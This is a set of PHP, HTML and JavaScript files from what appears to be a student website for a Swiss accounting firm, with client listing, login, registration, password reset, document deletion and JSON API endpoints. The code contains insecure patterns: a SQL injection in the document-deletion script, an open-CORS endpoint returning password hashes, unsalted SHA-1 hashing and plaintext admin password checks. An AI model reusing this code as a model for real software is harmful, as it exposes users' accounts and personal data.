$(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)
});
});
});
</script>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<h1>Liste des clients</h1>
<div class="modal-body mb-3">
<input class="form-control" id="myInput" type="text" placeholder="Search..">
<br>
<div id="ListeClient">
<div class="row">
<?php foreach (getAllUser() as $physique ): ?>
<div class="col-md-3 m-2"><a href="docsClient.php?id=<?= $physique['ID_PERSONNEP'] ?>&c=1" ><?= $physique['PER_NOM']." ". $physique['PER_PRENOM'] ?></a></div>
<?php endforeach; ?>
<?php foreach (getAllUserMorale() as $Morale ): ?>
<div class="col-md-3 m-2"><a href="docsClient.php?id=<?= $Morale['ID_PERSONNEMORALE'] ?>&c=0" ><?= $Morale['PERM_NOM'] ?></a></div>
<?php endforeach; ?>
</div>
</div>
</div>
</div>
</div>
<!--/.Panel 2-->
</div>
</div>
<!--/.Content-->
</div>
</div>
</div>
</main><!-- /.container -->
<!-- Footer -->
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0">
<h6 class="mb-0">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
<file_sep><?php
require 'fonction.php';
session_start();
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Access-Control-Allow-Methods: GET");
header("Access-Control-Max-Age: 3600");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");
$idclient = $_SESSION['ID_PERSONNEMORALE'];
$user = getOneUseridmorale($idclient);
$tab = [
"id" => "client",
"title" => $user['ID_PERSONNEMORALE'],
"start" => "2000-01-01 08:00:00",
"end" => "2000-01-01 09:00:00",
"url" => "docsClient.php?id=".$user['ID_PERSONNEMORALE']."&c=0",
];
http_response_code(200);
echo json_encode($tab);
?>
<file_sep><?php
// Headers requis
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Access-Control-Allow-Methods: GET");
header("Access-Control-Max-Age: 3600");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");
// On vérifie que la méthode utilisée est correcte
if($_SERVER['REQUEST_METHOD'] == 'GET'){
// On inclut les fichiers de configuration et d'accès aux données
include_once '../config/Database.php';
include_once '../models/personnephysique.php';
// On instancie la base de données
$database = new Database();
$db = $database->getConnection();
// On instancie les produits
$personnephysique = new Personnephysique($db);
$donnees = $_GET['id'];
if(!empty($donnees)){
$personnephysique->ID_PERSONNEP = $donnees;
// On récupère le produit
$personnephysique->lireUn();
// On vérifie si le produit existe
if($personnephysique->PER_NOM != null){
$personnep = [
"ID_PERSONNEP" => $personnephysique->ID_PERSONNEP,
"PER_NOM" => $personnephysique->PER_NOM,
"PER_PRENOM" => $personnephysique->PER_PRENOM,
"PER_EMAIL" => $personnephysique->PER_EMAIL,
"PER_MOTDEPASSE" => $personnephysique->PER_MOTDEPASSE,
"PER_DATEDENAISSANCE" => $personnephysique->PER_DATEDENAISSANCE,
"PER_TELEPHONE" => $personnephysique->PER_TELEPHONE,
"PER_CODEPOSTAL" => $personnephysique->PER_CODEPOSTAL,
"PER_LOCALITE" => $personnephysique->PER_LOCALITE,
"PER_ADRESSE" => $personnephysique->PER_ADRESSE,
"PER_CODENVMDP" => $personnephysique->PER_CODENVMDP,
];
// On envoie le code réponse 200 OK
http_response_code(200);
// On encode en json et on envoie
echo json_encode($personnep);
}else{
// 404 Not found
http_response_code(404);
echo json_encode(array("message" => "Le produit n'existe pas."));
}
}else {
echo json_encode(array("message" => "marche PAS"));
}
}else{
// On gère l'erreur
http_response_code(405);
echo json_encode(["message" => "La méthode n'est pas autorisée"]);
}
<file_sep>var file = document.getElementById("FileAdd");
var alert = document.getElementById("alert");
var ajout = document.getElementById("ajout");
file.addEventListener('change', function(){
if(file.files.length > 0){
var extension = file.value.split(".")[1]
if(extension == "pdf" || extension == "docx"){
ajout.innerHTML ='<input type="submit" name="submit" value="Ajouter" id="Add" class="btn btn-info"/>'
alert.innerHTML ='';
}
else {
alert.innerHTML = '<div class="alert alert-danger text-center">Vous avez mis une mauvaise extension de fichier, veuillez choisir soit .pdf ou .docx </div>';
ajout.innerHTML = '';
}
}
});
<file_sep>
<html>
<head>
<?php
$titre = "C&M - Login";
include('navbar.php');
?>
</head>
<body>
<title>C&M - Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Custom styles for this template -->
<link href="blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
<?php
// Inscription client
$error = "";
$erroremailinscriptionC = "";
$erroremailinscriptionE = "";
$erroremailinscriptioninvalideC = "";
$erroremailinscriptioninvalideE = "";
$errordatenaissance18 ="";
$errordatenaissance100="";
$errornouveaumdp="";
if (isset($_POST["btnInscrireclient"])) {
$nom = $_POST["nom"];
$prenom = $_POST["prenom"];
$email = $_POST["email"];
$pswrd = $_POST["mdp1"];
$datenaissance = $_POST['dateNaissance'];
$phone= $_POST["tel"];
$nRue = $_POST['NRue'];
$adresse =$nRue. ' ' .$_POST["adresse"];
$codepostal = $_POST["codepostal"];
$localite = $_POST["localite"];
$bday = new DateTime($datenaissance);
$today = new Datetime(date('d.m.y'));
$diff = $today->diff($bday);
$age = $diff->y;
try {
if (filter_var($email,FILTER_VALIDATE_EMAIL)) {
if($age >= 18){
if ($age <= 100) {
$user = getOneUser($email);
if (empty($user)) {
createUser($nom, $prenom, $email, sha1($pswrd), $datenaissance, $phone, $codepostal, $localite, $adresse);
mkdir("uploads/".$nom.$prenom);
header("Location:login.php");
} else {
$erroremailinscriptionC = "<div class='alert alert-danger' role='alert'> Cette adresse mail est déjà utlisée !</div>";
}
}else {
$errordatenaissance100 = "<div class='alert alert-danger' role='alert'> La date est incorrect !</div>";
}
}else{
$errordatenaissance18 = "<div class='alert alert-danger' role='alert'> Il faut au moins avoir 18 ans pour s'inscrire !</div>";
}
}else {
$erroremailinscriptioninvalideC = "<div class='alert alert-danger' role='alert'> Cette adresse mail n'est pas valide !</div>";
}
} catch (Exception $e) {
$_SESSION["ID_PERSONNEP"] = 0;
header("Location:error.php?message=".$e->getMessage());
}
}
// Inscription entreprise
if (isset($_POST["btnInscrireentreprise"])) {
$nom = $_POST["nom"];
$domaine = $_POST["domaine"];
$email = $_POST["email"];
$pswrd = $_POST["mdp1"];
$phone = $_POST["tel"];
$nRue = $_POST['NRue'];
$adresse =$nRue. ' ' .$_POST["adresse"];
$codepostal = $_POST["codepostal"];
$localite = $_POST["localite"];
try {
if (filter_var($email,FILTER_VALIDATE_EMAIL)) {
$user = getOneUsermorale($email);
if (empty($user)) {
createUserMorale($nom, $email, sha1($pswrd), $phone, $codepostal, $localite, $adresse, $domaine);
header("Location:login.php");
} else {
$erroremailinscriptionE = "<div class='alert alert-danger' role='alert'> Cette adresse mail est déjà utlisée !</div>";
}
}else {
$erroremailinscriptioninvalideE = "<div class='alert alert-danger' role='alert'> Cette adresse mail n'est pas valide !</div>";
}
} catch (Exception $e) {
$_SESSION["ID_PERSONNEP"] = 0;
header("Location:error.php?message=".$e->getMessage());
}
}
// Connexion
if (isset($_POST["btnSeConnecter"])) {
$email = $_POST["emailconnexion"];
$pswrd = $_POST["motdepasseconnexion"];
try {
$user = getOneUser($email);
if (!empty($user)) {
if ($user["PER_MOTDEPASSE"] == sha1($pswrd)) {
$_SESSION["ID_PERSONNEP"] = $user["ID_PERSONNEP"];
$_SESSION["PER_NOM"] = $user["PER_NOM"];
$_SESSION["PER_PRENOM"] = $user["PER_PRENOM"];
$_SESSION["PER_EMAIL"] = $user["PER_EMAIL"];
$_SESSION["PER_DATEDENAISSANCE"] = $user["PER_DATEDENAISSANCE"];
$_SESSION["PER_TELEPHONE"] = $user["PER_TELEPHONE"];
$_SESSION["PER_CODEPOSTAL"] = $user["PER_CODEPOSTAL"];
$_SESSION["PER_LOCALITE"] = $user["PER_LOCALITE"];
$_SESSION["PER_ADRESSE"] = $user["PER_ADRESSE"];
$_SESSION["EST_CLIENT"] = 1;
header("Location:index.php");
} else {$_SESSION["ID_PERSONNEP"] = 0;
$error="<div class='alert alert-danger' role='alert'> Adresse mail ou mot de passe incorrect !</div>";
}
}else {
$user = getOneUsermorale($email);
if (!empty($user)) {
if ($user["PERM_MOTDEPASSE"] == sha1($pswrd)) {
$_SESSION["ID_PERSONNEMORALE"] = $user["ID_PERSONNEMORALE"];
$_SESSION["PERM_NOM"] = $user["PERM_NOM"];
$_SESSION["PERM_EMAIL"] = $user["PERM_EMAIL"];
$_SESSION["PERM_TELEPHONE"] = $user["PERM_TELEPHONE"];
$_SESSION["PERM_CODEPOSTAL"] = $user["PERM_CODEPOSTAL"];
$_SESSION["PERM_LOCALITE"] = $user["PERM_LOCALITE"];
$_SESSION["PERM_ADRESSE"] = $user["PERM_ADRESSE"];
$_SESSION["PERM_DOMAINE"] = $user["PERM_DOMAINE"];
$_SESSION["EST_CLIENT"] = 0;
header("Location:index.php");
} else {$_SESSION["ID_PERSONNEMORALE"] = 0;
$error="<div class='alert alert-danger' role='alert'> Adresse mail ou mot de passe incorrect !</div>";
}
}else {
$user = getOneUseradmin($email);
if (!empty($user)) {
if ($user["ADM_MOTDEPASSE"] == $pswrd) {
$_SESSION["ID_ADMIN"] = $user["ID_ADMIN"];
$_SESSION["ADM_NOM"] = $user["ADM_NOM"];
$_SESSION["ADM_PRENOM"] = $user["ADM_PRENOM"];
$_SESSION["ADM_EMAIL"] = $user["ADM_EMAIL"];
$_SESSION["ADM_DATEDENAISSANCE"] = $user["ADM_DATEDENAISSANCE"];
$_SESSION["ADM_TELEPHONE"] = $user["ADM_TELEPHONE"];
$_SESSION["ADM_CODEPOSTAL"] = $user["ADM_CODEPOSTAL"];
$_SESSION["ADM_LOCALITE"] = $user["ADM_LOCALITE"];
$_SESSION["ADM_ADRESSE"] = $user["ADM_ADRESSE"];
$_SESSION["EST_ADMIN"] = 1;
header("Location:index.php");
} else {$_SESSION["ID_ADMIN"] = 0;
$error="<div class='alert alert-danger' role='alert'> Adresse mail ou mot de passe incorrect !</div>";
}
}
else {
$error="<div class='alert alert-danger' role='alert'> Cette adresse mail n'existe pas </div>";
}
}
}
} catch (Exception $e) {
$_SESSION["ID_PERSONNEP"] = 0;
header("Location:error.php?message=".$e->getMessage());
}
}
if (isset($_POST['btnNouveaumdp'])) {
$email = $_POST['emailnv'];
$user = getOneUser($email);
if (!empty($user)) {
$code = passgen1(10);
creatCodeValidation($email,$code);
$header="MIME-Version: 1.0\r\n";
$header.='From:"Mail de réinitialisation" '."\n";
$header.='Content-Type:text/html; charset="uft-8"'."\n";
$header.='Content-Transfer-Encoding: 8bit';
$sujet= "Votre code de vérification";
$message='
<html>
<body>
<div align="left">
<br />
<u>Code de vérification :</u>'.$code.'<br />
<br />
</div>
</body>
</html>
';
mail($email, $sujet , $message, $header);
header("Location:nouveaumdp.php");
}else {
$user = getOneUsermorale($email);
if (!empty($user)) {
$code = passgen1(10);
creatCodeValidationmorale($email,$code);
$header="MIME-Version: 1.0\r\n";
$header.='From:"Mail de réinitialisation" '."\n";
$header.='Content-Type:text/html; charset="uft-8"'."\n";
$header.='Content-Transfer-Encoding: 8bit';
$sujet= "Votre code de vérification";
$message='
<html>
<body>
<div align="left">
<br />
<u>Code de vérification :</u>'.$code.'<br />
<br />
</div>
</body>
</html>
';
mail($email, $sujet , $message, $header);
header("Location:nouveaumdp.php");
}else {
$error="<div class='alert alert-danger' role='alert'> Cette adresse mail n'existe pas </div>";
}
}
}
?>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<div class="modal-dialog cascading-modal" role="document">
<div class="modal-content">
<div class="modal-c-tabs">
<ul class="nav nav-tabs md-tabs tabs-2 light-blue darken-3" role="tablist">
<li class="nav-item">
<a class="nav-link active" data-toggle="tab" href="#panel1" role="tab"id="pageconnexion"><i class="fas fa-user mr-1" id="pageconnexion" ></i>Connexion</a>
</li>
<li class="nav-item">
<a class="nav-link" data-toggle="tab" href="#panel2" role="tab" id="pageinscription"><i class="fas fa-user-plus mr-1" id="pageinscription"></i>Inscription</a>
</li>
</ul>
<div class="tab-content">
<div class="modal-body mb-1" id="modalMain">
<?php if ($erroremailinscriptionE != ""):
echo $erroremailinscriptionE;
else:
echo $erroremailinscriptioninvalideE;
endif;
?>
<?php echo $errordatenaissance18 ?>
<?php echo $errordatenaissance100 ?>
<?php if ($erroremailinscriptionC != ""):
echo $erroremailinscriptionC;
else:
echo $erroremailinscriptioninvalideC;
endif;
?>
<?php
echo $error;
?>
<div style="display:none" id="entreprise">
<div class="md-form form-sm mb-3">
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="radiobutton" value="option1" onchange="AfficherClient(this)" >
<label class="form-check-label" for="inlineRadio1">Client Privé</label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="radiobutton" id="radioentreprise" value="option2" onchange="AfficherEntreprise(this)"checked >
<label class="form-check-label" for="inlineRadio2">Entreprise</label>
</div>
</div>
<form method="post" action ="login.php" onSubmit="return validation(this); ">
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="nom" class="form-control" placeholder="Insérez le nom de votre entreprise" required autofocus="" maxlength="20" >
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="email" name="email" class="form-control" placeholder="Insérez l'adresse mail de votre entreprise" required autofocus="" maxlength="25">
</div>
</div>
<div class="md-form form-sm mb-3">
<input type="password" name="mdp1" class="form-control" placeholder="Insérez votre mot de passe" required autofocus="" maxlength="30" minlength="6" >
</div>
<div class="md-form form-sm mb-3">
<input type="password" name="mdp2" class="form-control" placeholder="Insérez votre mot de passe une nouvelle fois" required autofocus="" maxlength="30" minlength="6">
</div>
<div class="md-form form-sm mb-3">
<input type="text" name="tel" class="form-control" placeholder="Insérez votre numéro de téléphone portable" required autofocus="" pattern="[0-9+]{10,18}">
</div>
<div class="md-form form-sm mb-3">
<input type="text" name="domaine" class="form-control" placeholder="Insérez le domaine de votre entreprise" required autofocus="" maxlength="50">
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<span class="input-group-append">
<div class="input-group-text bg-transparent" >N° </div>
</span>
<input type="text" name="NRue" class="form-control" placeholder="de rue" required autofocus="" maxlength="6">
<span class="input-group-append">
<div class="input-group-text bg-transparent">Rue</div>
</span>
<input type="text" name="adresse" class="form-control" placeholder="l'adresse de votre entreprise" required autofocus="" maxlength="50">
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="tel" name="codepostal" class="form-control" placeholder="Code Postale" required autofocus=""maxlength="6" minlength="4">
<span class="input-group-append">
</span>
<input type="text" name="localite" class="form-control" placeholder="Localité" required autofocus=""pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">
</div>
</div>
<div class="text-center form-sm mt-2">
<button class="btn btn-dark" type="submit" name="btnInscrireentreprise">inscrire votre entreprise</i></button>
</div>
</form>
</div>
<form method="post" action="login.php">
<div class="modal fade" id="ModalMdp" tabindex="-1" role="dialog" aria-labelledby="MotDePasseOublier" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="MotDePasseOublier">Mot de passe oublié?</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="input-group">
<input type="email" name="emailnv" class="form-control" placeholder="Insérez votre adresse mail" required autofocus="">
<span class="input-group-append">
<div class="input-group-text bg-transparent">
<i class="fas fa-at" aria-hidden="true"></i></div>
</span>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Fermer</button>
<button type="submit" class="btn btn-dark" name="btnNouveaumdp" >Envoyer</button>
</div>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</main>
<script type="text/javascript">
// Création de la div principale
var modaleMain = document.getElementById('modalMain');
modaleMain.innerHTML += '<div id="divFormulaire" class="modal-body mb-1"></div> ';
var divFormulaire = document.getElementById('divFormulaire');
// Création du formulaire
var nvFormulaire = document.createElement('form');
nvFormulaire.action = 'login.php';
nvFormulaire.method = 'post';
divFormulaire.appendChild(nvFormulaire);
window.onload = creerLogin;
function creerLogin (){
var divinfoentreprise = document.getElementById('entreprise');
divinfoentreprise.style.display = 'none';
nvFormulaire.innerHTML = ''
// Création des inputs
// input email
creerInputBootstrap('type="email" id="EmailConnexion" placeholder="Veuillez entrer votre adresse mail " name="emailconnexion" value="" required> ','<span id=EmailConnexionVerif></span> <br> ');
// input mot de passe
creerInputBootstrap('type="password" id="MdpConnexion" placeholder="Veuiller entrer votre mot de passe" name="motdepasseconnexion" value="" required > <br>','<span id=mdpConnexionVerif></span><br> ');
// bouton valider
nvFormulaire.innerHTML += '<div class="text-center mt-2">'+
'<button class="btn btn-dark" type="submit" name="btnSeConnecter">Se connecter</button>'+
'</div>'+
'<div class="modal-footer">'+
'<div class="options text-md-left mt-1">'+
'<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#ModalMdp">Mot de passe oublié ? </button>'+
'</div>'+
'</div>';
document.getElementById('EmailConnexion').addEventListener("keyup",verificationEmail);
}
function verificationEmail(){
var email = document.getElementById('EmailConnexion').value;
var span = document.getElementById('EmailConnexionVerif');
if (email != ""){
patternEmail = /^[^ ]+@[^ ]+\.[a-z]{2,3}$/;
if (email.match(patternEmail)){
span.style.color = 'green';
span.innerHTML = "Adresse mail valide";
}else{
span.style.color = 'red';
span.innerHTML = "Adresse mail invalide";
}
}else {
span.style.color = '';
span.innerHTML = "";
}
}
function creerInputBootstrap (finInput,message){
nvFormulaire.innerHTML += '<div class="md-form form-sm mb-4">'+
'<input class="form-control"'+finInput+ message +
'</div>';
}
document.getElementById('pageinscription').addEventListener("click",creerinscription);
document.getElementById('pageconnexion').addEventListener("click",creerLogin);
function creerinscription () {
nvFormulaire.innerHTML =''
nvFormulaire.innerHTML += '<div class="md-form form-sm mb-3">'+
'<div class="form-check form-check-inline">'+
' <input class="form-check-input" type="radio" name="radiobutton" value="option1" onchange="AfficherClient(this)" checked >'+
'<label class="form-check-label" for="inlineRadio1">Client Privé</label>'+
'</div>'+
'<div class="form-check form-check-inline">'+
' <input class="form-check-input" type="radio" name="radiobutton" value="option2" onchange="AfficherEntreprise(this)" onsubmit="AfficherEntreprise(this)" >'+
'<label class="form-check-label" for="inlineRadio2">Entreprise</label>'+
'</div>'+
'</div>'
creerInputBootstrap('type="text" name="nom" placeholder="Insérez votre nom" required autofocus="" pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15"> ','');
creerInputBootstrap('type="text" name="prenom" placeholder="Insérez votre prénom" required autofocus="" pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15"> ','');
creerInputBootstrap('type="email" id="EmailConnexion" placeholder="Veuillez entrer votre adresse mail " name="email" value="" required> ','<span id=EmailConnexionVerif></span> <br> ');
creerInputBootstrap('type="password" name="mdp1" placeholder="Insérez votre mot de passe" required autofocus="" maxlength="40" minlength="6">','');
creerInputBootstrap('type="password" name="mdp2" placeholder="Insérez votre mot de passe une nouvelle fois" required autofocus="" maxlength="40" minlength="6">','');
nvFormulaire.innerHTML += '<div class="md-form form-sm mb-3">'+
'<div class="input-group">'+
'<span class="input-group-append">'+
'<div class="input-group-text bg-transparent">Date de naissance</div>'+
'</span>'+
' <input type="date" name="dateNaissance" class="form-control" required autofocus="" maxlength="6">'+
'</div>'+
'</div>';
creerInputBootstrap(' type="text" name="tel" class="form-control" placeholder="Insérez votre numéro de téléphone portable" required autofocus="" pattern="[0-9+]{10,18}">','');
nvFormulaire.innerHTML +='<div class="md-form form-sm mb-3">'+
'<div class="input-group">'+
'<span class="input-group-append">'+
'<div class="input-group-text bg-transparent">N°</div>'+
'</span>'+
'<input type="text" name="NRue" class="form-control" placeholder="de rue" required autofocus="" maxlength="6">'+
'<span class="input-group-append">'+
'<div class="input-group-text bg-transparent">Rue</div>'+
'</span>'+
'<input type="text" name="adresse" class="form-control" placeholder="votre adresse" required autofocus="" maxlength="50">'+
'</div>'+
'</div>'+
'<div class="md-form form-sm mb-3">'+
'<div class="input-group">'+
'<input type="text" name="codepostal" class="form-control" placeholder="Code Postale" required autofocus=""maxlength="6" minlength="4" >'+
'<span class="input-group-append">'+
'</span>'+
'<input type="text" name="localite" class="form-control" placeholder="Localité" required autofocus="" pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">'+
'</div>'+
'</div>'
nvFormulaire.innerHTML +=' <div class="text-center form-sm mt-2">'+
'<button class="btn btn-dark" type="submit" name="btnInscrireclient" >S\'inscrire</i></button>'+
'</div>'
document.getElementById('EmailConnexion').addEventListener("keyup",verificationEmail);
}
function AfficherEntreprise(x)
{
var divinfoentreprise = document.getElementById('entreprise');
if (x.checked) {
nvFormulaire.innerHTML = ''
divinfoentreprise.style.display = 'initial';
document.getElementById('radioentreprise').checked = true
}
}
function AfficherClient(x)
{
var divinfoentreprise = document.getElementById('entreprise');
if (x.checked) {
divinfoentreprise.style.display = 'none';
creerinscription()
}
}
function validation(f) {
if (f.mdp1.value == '' || f.mdp2.value == '') {
alert('Tous les champs ne sont pas remplis');
f.mdp1.focus();
return false;
}
else if (f.mdp1.value != f.mdp2.value) {
alert('Ce ne sont pas les mêmes mots de passe!');
f.mdp1.focus();
return false;
}
else if (f.mdp1.value == f.mdp2.value) {
return true;
}
else {
f.mdp1.focus();
return false;
}
}
</script>
<!-- Footer Links -->
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0" st>
<h6 class="mb-0" style="color:white;">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
</body>
</html>
<file_sep><?php
include('navbar.php');
include_once 'dbconnect.php';
//check if form is submitted
if (isset($_POST['submit']))
{
try {
$request = myConnection()->prepare("DELETE FROM appartient WHERE ID_DOCUMENT = '" . $_GET['id_doc'] . "' AND ID_PERSONNEP = '" . $_GET['idpersonne'] . "'; ");
$request->execute();
$request = myConnection()->prepare("DELETE FROM document WHERE ID_DOCUMENT = '" . $_GET['id_doc'] . "'; ");
$request->execute();
header("Location: http://www.esig-sandbox.ch/team20_2_v2/docsClient.php?id=" . $_GET['idpersonne'] . "&c=1&dl=success");
} catch (PDOException $e) {
header("Location:error.php?message=".$e->getMessage());
exit();
}
}
?><file_sep><?php
// Headers requis
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Access-Control-Allow-Methods: GET");
header("Access-Control-Max-Age: 3600");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");
// On vérifie que la méthode utilisée est correcte
if($_SERVER['REQUEST_METHOD'] == 'GET'){
// On inclut les fichiers de configuration et d'accès aux données
include_once '../config/Database.php';
include_once '../models/personnephysique.php';
// On instancie la base de données
$database = new Database();
$db = $database->getConnection();
